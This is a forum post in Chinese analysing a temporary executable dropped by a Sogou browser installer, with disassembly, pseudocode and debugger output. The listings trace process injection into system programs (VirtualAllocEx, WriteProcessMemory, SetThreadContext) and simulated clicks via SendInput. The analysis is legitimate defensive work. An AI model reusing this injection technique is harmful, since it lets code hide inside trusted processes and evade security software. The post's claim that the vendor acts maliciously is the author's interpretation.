本帖最后由 磁性护腰 于 2009-12-22 11:42 编辑
下载下来的文件大小为4.05MB
然后开始安装,在安装过程中抓到了一个很奇怪的文件名,而且瞬间就消失了。文件名为~1352.Temp,而且每次安装的时候中间的四位数字都是变化的。没关系,咱抓取一下。
根据文件名的后缀这个文件应该是一个临时的文件,临时文件不是应该放在Windows的temp目录么?为了判断这个文件到底是干啥的,我看了一下16进制的编码,貌似是一个可执行程序文件。
简单分析一下这个TMP文件, 其实是一个EXE程序, 代码只有一点点, 如下:
.text:00401019 public start
.text:00401019 start proc near
.text:00401019
.text:00401019 pInputs = tagINPUT ptr -0E4h
.text:00401019 var_C4 = dword ptr -0C4h
.text:00401019 var_C0 = dword ptr -0C0h
.text:00401019 var_B8 = dword ptr -0B8h
.text:00401019 var_9C = dword ptr -9Ch
.text:00401019 var_80 = dword ptr -80h
.text:00401019 var_70 = dword ptr -70h
.text:00401019 var_6C = dword ptr -6Ch
.text:00401019 var_64 = dword ptr -64h
.text:00401019 var_48 = dword ptr -48h
.text:00401019 var_38 = dword ptr -38h
.text:00401019 var_34 = dword ptr -34h
.text:00401019 var_2C = dword ptr -2Ch
.text:00401019 var_10 = dword ptr -10h
.text:00401019 pNumArgs = dword ptr -4
.text:00401019
.text:00401019 push ebp
.text:0040101A lea ebp, [esp-78h]
.text:0040101E sub esp, 0E4h
.text:00401024 push esi
.text:00401025 lea eax, [ebp+78h+pNumArgs]
.text:00401028 push eax ; pNumArgs
.text:00401029 call ds:GetCommandLineW
.text:0040102F push eax ; lpCmdLine
.text:00401030 call ds:CommandLineToArgvW
.text:00401036 cmp [ebp+78h+pNumArgs], 7
.text:0040103A mov esi, eax
.text:0040103C jnz loc_4010FF
.text:00401042 mov ecx, 0E0h
.text:00401047 lea eax, [ebp+78h+pInputs]
.text:0040104A
.text:0040104A loc_40104A: ; CODE XREF: start+36 j
.text:0040104A mov byte ptr [eax], 0
.text:0040104D inc eax
.text:0040104E dec ecx
.text:0040104F jnz short loc_40104A
.text:00401051 push 8
.text:00401053 lea eax, [ebp+78h+pInputs]
.text:00401056 pop ecx
.text:00401057
.text:00401057 loc_401057: ; CODE XREF: start+45 j
.text:00401057 and dword ptr [eax], 0
.text:0040105A add eax, 1Ch
.text:0040105D dec ecx
.text:0040105E jnz short loc_401057
.text:00401060 push ebx
.text:00401061 push edi
.text:00401062 push 4
.text:00401064 pop edi
.text:00401065 push dword ptr [esi+4]
.text:00401068 mov dword ptr [ebp+78h+pInputs.anonymous_0+0Ch], edi
.text:0040106B call sub_401000
.text:00401070 push dword ptr [esi+8]
.text:00401073 xor eax, 0
.text:00401078 mov [ebp+78h+var_C4], eax
.text:0040107B call sub_401000
.text:00401080 push 2
.text:00401082 pop ebx
.text:00401083 push dword ptr [esi+0Ch]
.text:00401086 xor eax, 0E4F088h
.text:0040108B mov [ebp+78h+var_C0], eax
.text:0040108E mov [ebp+78h+var_B8], 8001h
.text:00401095 mov [ebp+78h+var_9C], ebx
.text:00401098 mov [ebp+78h+var_80], edi
.text:0040109B call sub_401000
.text:004010A0 push dword ptr [esi+10h]
.text:004010A3 xor eax, 7C92E900h
.text:004010A8 mov [ebp+78h+var_70], eax
.text:004010AB call sub_401000
.text:004010B0 push dword ptr [esi+14h]
.text:004010B3 xor eax, 7C930440h
.text:004010B8 mov [ebp+78h+var_6C], eax
.text:004010BB mov [ebp+78h+var_64], 8001h
.text:004010C2 mov [ebp+78h+var_48], ebx
.text:004010C5 call sub_401000
.text:004010CA push dword ptr [esi+18h]
.text:004010CD xor eax, 7C99D600h
.text:004010D2 mov [ebp+78h+var_38], eax
.text:004010D5 call sub_401000
.text:004010DA add esp, 18h
.text:004010DD xor eax, 7C934029h
.text:004010E2 mov [ebp+78h+var_34], eax
.text:004010E5 push 1Ch ; cbSize
.text:004010E7 lea eax, [ebp+78h+pInputs]
.text:004010EA push eax ; pInputs
.text:004010EB push 8 ; cInputs
.text:004010ED mov [ebp+78h+var_2C], 8003h
.text:004010F4 mov [ebp+78h+var_10], edi
.text:004010F7 call ds:SendInput
.text:004010FD pop edi
.text:004010FE pop ebx
.text:004010FF
.text:004010FF loc_4010FF: ; CODE XREF: start+23 j
.text:004010FF pop esi
.text:00401100 add ebp, 78h
.text:00401103 leave
.text:00401104 retn
.text:00401104 start endp
注意红色的字, 这个TMP文件只干了1件事, 就是接收命令行参数, 进行SendInput调用.
IDA F5一下:
LPWSTR *__cdecl start()
{
LPWSTR *result; // eax@1
LPWSTR *v1; // esi@1
struct tagINPUT *v2; // eax@2
signed int v3; // ecx@2
struct tagINPUT *v4; // eax@4
signed int v5; // ecx@4
const WCHAR *v6; // eax@1
int v7; // ST14_4@6
int v8; // ST10_4@6
int v9; // ST0C_4@6
int v10; // ST08_4@6
int v11; // ST04_4@6
int v12; // ST00_4@6
int pNumArgs; // [sp+E4h] [bp+74h]@1
struct tagINPUT pInputs; // [sp+4h] [bp-6Ch]@2
int v15; // [sp+24h] [bp-4Ch]@6
int v16; // [sp+28h] [bp-48h]@6
signed int v17; // [sp+30h] [bp-40h]@6
signed int v18; // [sp+4Ch] [bp-24h]@6
signed int v19; // [sp+68h] [bp-8h]@6
int v20; // [sp+78h] [bp+8h]@6
int v21; // [sp+7Ch] [bp+Ch]@6
signed int v22; // [sp+84h] [bp+14h]@6
signed int v23; // [sp+A0h] [bp+30h]@6
int v24; // [sp+B0h] [bp+40h]@6
int v25; // [sp+B4h] [bp+44h]@6
signed int v26; // [sp+BCh] [bp+4Ch]@6
signed int v27; // [sp+D8h] [bp+68h]@6
v6 = GetCommandLineW();
result = CommandLineToArgvW(v6, &pNumArgs);
v1 = result;
if ( pNumArgs == 7 )
{
v3 = 224;
v2 = &pInputs;
do
{
LOBYTE(v2->type) = 0;
v2 = (struct tagINPUT *)((char *)v2 + 1);
--v3;
}
while ( v3 );
v4 = &pInputs;
v5 = 8;
do
{
v4->type = 0;
++v4;
--v5;
}
while ( v5 );
v7 = (int)*(v1 + 1);
pInputs.mi.dwFlags = 4;
v8 = (int)*(v1 + 2);
v15 = sub_401000(v7);
v9 = (int)*(v1 + 3);
v16 = sub_401000(v8) ^ 0xE4F088;
v17 = 32769;
v18 = 2;
v19 = 4;
v10 = (int)*(v1 + 4);
v20 = sub_401000(v9) ^ 0x7C92E900;
v11 = (int)*(v1 + 5);
v21 = sub_401000(v10) ^ 0x7C930440;
v22 = 32769;
v23 = 2;
v12 = (int)*(v1 + 6);
v24 = sub_401000(v11) ^ 0x7C99D600;
v25 = sub_401000(v12) ^ 0x7C934029;
v26 = 32771;
v27 = 4;
result = (LPWSTR *)SendInput(8u, &pInputs, 28);
}
return result;
}
看样子这个文件很不一般,每次这个文件的MD5值都在变,说明这个文件拥有自我改变文件结构的特点。而且这个文件可以在运行后自我删除,充分的证明了这些特征都符合了木马的特征。但是这个可执行的文件到底是做什么的呢?我抱着极大的好奇心做了进一步的分析。
先打开Sogou浏览器目录, 果然发现了一个~AF63.TMP文件, 奇怪了, TMP文件被当成可执行程序, 这也太不正经了吧!
文件拖进IDA, 果然是PE…汗…
public start
start proc near
push dword_40300C ; int
push offset byte_403050 ; lpBuffer
call sub_4011C3
pop ecx
pop ecx
push 0 ; uExitCode
call ds:GetCurrentProcess
push eax ; hProcess
call ds:TerminateProcess
retn
start endp
程序入口点代码如上, 一看此程序就不像用VC写的, 貌似是用汇编直接写的.
继续看sub_4011C3这个函数, 截取关键部分:
.text:00401287 mov [ebp+var_3C], offset aNotepad_exe ; "notepad.exe"
; 给字符串指针数组赋值,
.text:0040128E mov [ebp+var_38], offset aCalc_exe ; "calc.exe"
.text:00401295 mov [ebp+var_34], offset aCmd_exe ; "cmd.exe"
.text:0040129C mov [ebp+var_30], offset aRegedit_exe ; "regedit.exe"
.text:004012A3 mov [ebp+var_2C], offset aCtfmon_exe ; "ctfmon.exe"
.text:004012AA mov [ebp+var_28], offset aOsk_exe ; "osk.exe"
.text:004012B1 mov [ebp+var_24], offset aExplorer_exe ; "explorer.exe"
; 字符串指针数组赋值完了, 用的字符串都是系统自带程序名字
.text:004012B8 mov [ebp+var_1C], eax
.text:004012BB xor edi, edi
.text:004012BD pop esi
.text:004012BE
.text:004012BE loc_4012BE: ; CODE XREF: sub_4011C3+178j
.text:004012BE push [ebp+edi*4+var_3C]
.text:004012C2 lea eax, [ebp+CommandLine]
.text:004012C8 push offset aS ; "\"%s\""
.text:004012CD push eax ; LPWSTR
.text:004012CE call ds:wsprintfW
.text:004012D4 add esp, 0Ch
.text:004012D7 mov ecx, esi
.text:004012D9 lea eax, [ebp+StartupInfo]
.text:004012DC
.text:004012DC loc_4012DC: ; CODE XREF: sub_4011C3+11Dj
.text:004012DC mov [eax], bl
.text:004012DE inc eax
.text:004012DF dec ecx
.text:004012E0 jnz short loc_4012DC
.text:004012E2 push 10h
.text:004012E4 mov [ebp+StartupInfo.cb], esi
.text:004012E7 pop ecx
.text:004012E8 lea eax, [ebp+ProcessInformation]
.text:004012EB
.text:004012EB loc_4012EB: ; CODE XREF: sub_4011C3+12Cj
.text:004012EB mov [eax], bl
.text:004012ED inc eax
.text:004012EE dec ecx
.text:004012EF jnz short loc_4012EB
.text:004012F1 lea eax, [ebp+ProcessInformation]
.text:004012F4 push eax ; lpProcessInformation
.text:004012F5 lea eax, [ebp+StartupInfo]
.text:004012F8 push eax ; lpStartupInfo
.text:004012F9 push ebx ; lpCurrentDirectory
.text:004012FA push ebx ; lpEnvironment
.text:004012FB push 8000004h ; dwCreationFlags
.text:00401300 push ebx ; bInheritHandles
.text:00401301 push ebx ; lpThreadAttributes
.text:00401302 push ebx ; lpProcessAttributes
.text:00401303 lea eax, [ebp+CommandLine]
.text:00401309 push eax ; lpCommandLine
.text:0040130A push ebx ; lpApplicationName
.text:0040130B call ds:CreateProcessW
; 创建 notepad.exe 进程,
.text:00401311 test eax, eax
.text:00401313 jz short loc_401337
.text:00401315 push [ebp+arg_4] ; int
.text:00401318 push [ebp+lpBuffer] ; lpBuffer
.text:0040131B push [ebp+ProcessInformation.hThread] ; hThread
.text:0040131E push [ebp+ProcessInformation.hProcess] ; hProcess
.text:00401321 call sub_401000
; 这个函数主要在干活
.text:00401326 add esp, 10h
.text:00401329 test al, al
.text:0040132B jnz short loc_40133D
.text:0040132D push ebx ; uExitCode
.text:0040132E push [ebp+ProcessInformation.hProcess] ; hProcess
.text:00401331 call ds:TerminateProcess
; 结束进程
.text:00401337
.text:00401337 loc_401337: ; CODE XREF: sub_4011C3+150j
.text:00401337 inc edi
.text:00401338 cmp edi, 9
.text:0040133B jb short loc_4012BE
如果notepad.exe 进程没干完该干的事, 那么就创建calc.exe , 依次创建刚开始指明的那些系统程序
到现在, 觉得很奇怪了, Sogou浏览器为什么要创建一个系统程序的进程, 然后再把它杀掉呢 ?
这很像一种穿越网络防火墙的木马行为, 就是说, 把系统进程创建起来, 然后把自己的代码注入到系统进程, 然后在系统进程中收发数据包, 躲过防火墙的检测.
这个办法太邪恶了, 我希望不要是真的…
OK, 继续看sub_401000这个函数干了啥:
.text:00401000 hProcess = dword ptr 8
.text:00401000 hThread = dword ptr 0Ch
.text:00401000 lpBuffer = dword ptr 10h
.text:00401000 arg_C = dword ptr 14h
.text:00401000 push ebp
.text:00401001 mov ebp, esp
.text:00401003 sub esp, 314h
.text:00401009 push ebx
.text:0040100A push esi
.text:0040100B mov esi, ds:VirtualAllocEx
; 在系统进程中进行内存分配
看到这, 我觉得心凉了, 我靠, 创建系统进程, 然后在系统进程中分配内存, 接下来的, 必然是注入 恶意代码, 然后开始执行…
好吧, 继续往下看, 果然发现它调用了WriteProcessMemory, 看吧, 开始写恶意代码了.
写完恶意代码干嘛呢? 当然是要开始执行啦, 看看它是如何执行的:
.text:00401168 xor eax, eax
.text:0040116A push eax ; lpThreadId
.text:0040116B push eax ; dwCreationFlags
.text:0040116C push eax ; lpParameter
.text:0040116D push esi ; lpStartAddress
.text:0040116E push eax ; dwStackSize
.text:0040116F push eax ; lpThreadAttributes
.text:00401170 push edi ; hProcess
.text:00401171 call ds:CreateRemoteThread
; 创建远程线程
.text:00401177 test eax, eax
.text:00401179 jz short loc_4011BC
.text:0040117B lea eax, [ebp+Context]
.text:00401181 push eax ; lpContext
.text:00401182 push [ebp+hThread] ; hThread
.text:00401185 mov [ebp+Context.ContextFlags], 1003Fh
.text:0040118F call ds:GetThreadContext
; 获得主线程的 Thread Context
.text:00401195 test eax, eax
.text:00401197 jz short loc_4011B8
.text:00401199 lea eax, [ebp+Context]
.text:0040119F push eax ; lpContext
.text:004011A0 push [ebp+hThread] ; hThread
.text:004011A3 mov [ebp+Context._Eip], esi
.text:004011A9 call ds:SetThreadContext
; 把主线程的 EIP 设置成刚才分配的内存地址, 也就是恶意代码的地址
.text:004011AF push [ebp+hThread] ; hThread
.text:004011B2 call ds:ResumeThread
OK, 到这里, 已经能够确认, Sogou浏览器带的这个tmp文件, 确实是不怀好意了, 但是还是不知道它具体干了什么, 我也懒得看它这堆乱七八糟又是填充SHELL CODE, 又是WriteProcessMemroy的代码, 直接在它准备恢复执行的时候看看它注入系统进程的那段代码就得了.
具体操作办法, 调试这个tmp文件, 然后把断点设置在004011A9这个地方, 也就是上边标红的代码. 为什么设置在这里, 因为它正准备设置恶意代码的起始地址, 直接看eip指向的地方是啥就行了. 注意, 此时的eip指向的地址并不是在tmp文件的这个进程, 而是它创建的那个系统进程中, 也就是说, 断点命中的时候, 需要再启动一个调试器, 附加到它创建的系统进程中去看. 我用的是Windbg.
0:001> u 80000
00080000 6800000600 push 60000h
; 0:001> da 60000h
; 00060000 "user32.dll"
00080005 b864282176 mov eax,offset kernel32!LoadLibraryA (76212864)
0008000a ffd0 call eax
; LoadLibrary(user32.dll)
0008000c bf00000000 mov edi,0
00080011 be00000700 mov esi,70000h
00080016 47 inc edi
00080017 57 push edi
00080018 56 push esi
0:001> u
00080019 6a1c push 1Ch
0008001b 56 push esi
0008001c 6a01 push 1
0008001e b85570cb75 mov eax,offset USER32!NtUserSendInput (75cb7055)
00080023 ffd0 call eax
00080025 5e pop esi
00080026 5f pop edi
00080027 83c61c add esi,1Ch
0:001> u
0008002a 81ff08000000 cmp edi,8
00080030 75e4 jne 00080016
00080032 6a00 push 0
00080034 68ffffffff push 0FFFFFFFFh
00080039 b89b502076 mov eax,offset kernel32!TerminateProcessStub (7620509b)
0008003e ffd0 call eax
上边的代码就干了1件事, 就是调用SendInput(1, 0x70000+0x1c*n, 0x1c), 调用了8次. SendInput这个函数主要用来做虚拟点击, 也就是模拟用户输入的, 通常远程桌面和恶意程序都会用, 恶意程序主要用来点掉屏幕上它不希望用户看到的窗口.(通常是安全软件)
SendInput的函数原型:
UINT SendInput(
UINT nInputs, // count of input events
LPINPUT pInputs, // array of input events
int cbSize // size of structure
);
解码一下这里SendInput调用的参数, 主要要看pInputs是什么:
第1次调用的pInputs:
0:001> dd 00070000
00070000 00000000 00000000 00000000 00000000
00070010 00000004 00000000 00000000
第2次调用的pInputs:
0:001> dd 00070000+0x1c
0007001c 00000000 0000d0c1 0000da61 00000000
0007002c 00008001 00000000 00000000
第3次调用的pInputs:
0:001> dd 00070000+0x1c*2
00070038 00000000 00000000 00000000 00000000
00070048 00000002 00000000 00000000
第4次调用的pInputs:
0:001> dd 00070000+0x1c*3
00070054 00000000 00000000 00000000 00000000
00070064 00000004 00000000 00000000
第5次调用的pInputs:
0:001> dd 00070000+0x1c*4
00070070 00000000 000056fe 0000f749 00000000
00070080 00008001 00000000 00000000
第6次调用的pInputs:
0:001> dd 00070000+0x1c*5
0007008c 00000000 00000000 00000000 00000000
0007009c 00000004 00000000 00000000
第7次调用的pInputs:
0:001> dd 00070000+0x1c*6
000700a8 00000000 00000000 00000000 00000000
000700b8 00000004 00000000 00000000
第8次调用的pInputs:
0:001> dd 00070000+0x1c*7
000700c4 00000000 00000000 00000000 00000000
000700d4 00000004 00000000 00000000
好好一浏览器, 为什么会干SendInput这种劫持用户鼠标键盘操作的事? 它究竟想瞒着用户做什么操作呢?
在我还没看它到底点了什么的时候, 又一件让我很吃惊的事情发生了, 大家猜猜看怎么着了.
在微点拦截到这个可疑的tmp文件时, 我选择了放行, 然后, 在我分析被它创建的notepad.exe时, 它居然自己消失了…这是一种什么行为, 很明显, 是木马自删除的行为…
敢做, 还怕人发现了?
其实还有一件事, 就是sogou浏览器安装包里的这个tmp文件, 其实每次都是不一样的, 因为我为了确定这事是sogou浏览器安装包里自带的, 而不是我机器的原因, 还在老婆的机器上试过, 发现同样的, 也有这个tmp文件, 但是, 这2个tmp文件的MD5不一样, 对比之后发现, 它们有几个字节不一样, 其他均一样…
这又是一种什么行为?? 很明显, 是木马自修改的行为…
综上, 我也懒得知道sogou到底想点击什么。 |